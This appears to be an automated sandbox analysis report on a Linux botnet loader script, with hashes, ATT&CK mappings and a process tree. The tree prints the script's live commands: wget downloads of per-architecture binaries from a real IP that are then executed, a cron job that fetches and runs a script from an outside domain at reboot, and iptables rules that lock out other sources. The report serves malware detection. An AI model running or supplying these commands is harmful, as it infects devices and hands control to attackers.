c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28-12-2024 10:13

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General

Target

l.sh
Size

1KB
MD5

f1bc5c9578ad5b69e09a58a6b3721b64
SHA1

b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72
SHA256

c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8
SHA512

5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
722	chmod
731	chmod
736	chmod
690	sh
719	chmod
725	chmod
728	chmod
740	chmod
673	chmod
688	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/run/user/0/upnp	689	upnp
/run/user/0/upnp	720	upnp
/run/user/0/upnp	723	upnp
/run/user/0/upnp	726	upnp
/run/user/0/upnp	729	upnp
/run/user/0/upnp	732	upnp
/run/user/0/upnp	737	upnp
/run/user/0/upnp	741	upnp

Renames itself 1 IoCs

pid	Process
689	upnp

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	185.181.61.24

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oestdf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	mini_httpd	689	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/711/status	upnp
File opened for reading	/proc/780/status	upnp
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/740/status	upnp
File opened for reading	/proc/743/status	upnp
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/270/stat	killall
File opened for reading	/proc/2/cmdline	upnp
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/719/status	upnp
File opened for reading	/proc/752/status	upnp
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/712/status	upnp
File opened for reading	/proc/724/status	upnp
File opened for reading	/proc/774/status	upnp
File opened for reading	/proc/self/exe	cp
File opened for reading	/proc/143/cmdline	killall
File opened for reading	/proc/277/stat	killall
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/708/status	upnp
File opened for reading	/proc/710/status	upnp
File opened for reading	/proc/143/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/278/stat	killall
File opened for reading	/proc/715/cmdline	upnp
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/730/status	upnp
File opened for reading	/proc/776/status	upnp
File opened for reading	/proc/704/status	upnp
File opened for reading	/proc/581/stat	killall
File opened for reading	/proc/713/status	upnp
File opened for reading	/proc/715/status	upnp
File opened for reading	/proc/716/status	upnp
File opened for reading	/proc/718/status	upnp
File opened for reading	/proc/750/status	upnp
File opened for reading	/proc/757/status	upnp
File opened for reading	/proc/109/cmdline	killall
File opened for reading	/proc/631/stat	killall
File opened for reading	/proc/728/status	upnp
File opened for reading	/proc/756/status	upnp
File opened for reading	/proc/586/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/147/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/163/stat	killall
File opened for reading	/proc/299/stat	killall
File opened for reading	/proc/700/status	upnp
File opened for reading	/proc/652/cmdline	upnp
File opened for reading	/proc/714/status	upnp
File opened for reading	/proc/733/status	upnp
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/741/status	upnp
File opened for reading	/proc/763/status	upnp
File opened for reading	/proc/736/status	upnp
File opened for reading	/proc/637/stat	killall
File opened for reading	/proc/721/status	upnp
File opened for reading	/proc/748/status	upnp

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
727	wget
729	upnp

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.a	l.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.a	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:645
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:646
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:654
- /bin/grep
  grep tmpfs
  2⤵
  PID:655
- /bin/grep
  grep rw
  2⤵
  PID:656
- /bin/grep
  grep -v noexe
  2⤵
  PID:657
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:658
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:661
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:663
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:665
- /bin/cp
  cp /proc/self/exe .f
  2⤵
  - Reads runtime system information
  PID:668
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /bin/rm
  rm -rf upnp
  2⤵
  PID:675
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:677
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /run/user/0/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:689
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:690
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:692
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:693
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:699
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /run/user/0/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:720
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:721
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:723
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:724
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:726
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:727
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /run/user/0/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:729
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:730
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /run/user/0/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:735
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /run/user/0/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:739
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /run/user/0/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:741
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:743
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:744
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:745
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:746
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:747
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -j DROP
  2⤵
  PID:748
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -j DROP
  2⤵
  PID:749
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -j DROP
  2⤵
  PID:750
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  2⤵
  PID:751
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -j DROP
  2⤵
  PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/run/user/0/.f

Filesize
82KB

MD5
d89fb71971ef87948c4609f4176aa351

SHA1
c1b55e8f203e493b7f159a54fcd790f041950f19

SHA256
be74b028c309d3e0b4791727a3a0da8b3eb278c95860b55f9c42cc16dcb40fd4

SHA512
7248344009497a33f134707b3ef610b8bf1022656303d6cd9aa28b50ab903d82da498c5ac110da828e513dc1ff42942721ddbc0d2744fd0e0f4a26a24f60dc10

Download Submit
/run/user/0/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/run/user/0/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/var/spool/cron/crontabs/tmp.oestdf

Filesize
306B

MD5
698802c4c3d1355d3c6306be9acb436d

SHA1
666c2e7f887adff8afc9127050736af2500cbc03

SHA256
3ff4bbe672b7263ca89cf79b7802eb1edca6a3210b63e0ce609cc0675d9b257d

SHA512
188a29ed3a263fc88391c25b56ca6514d50dd17494b1a8aa2e5372ac75c57defce7cd0b8279b8547ed0977e5b2a42e954ab3dbec5e1412cc67714f0d38c69782

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads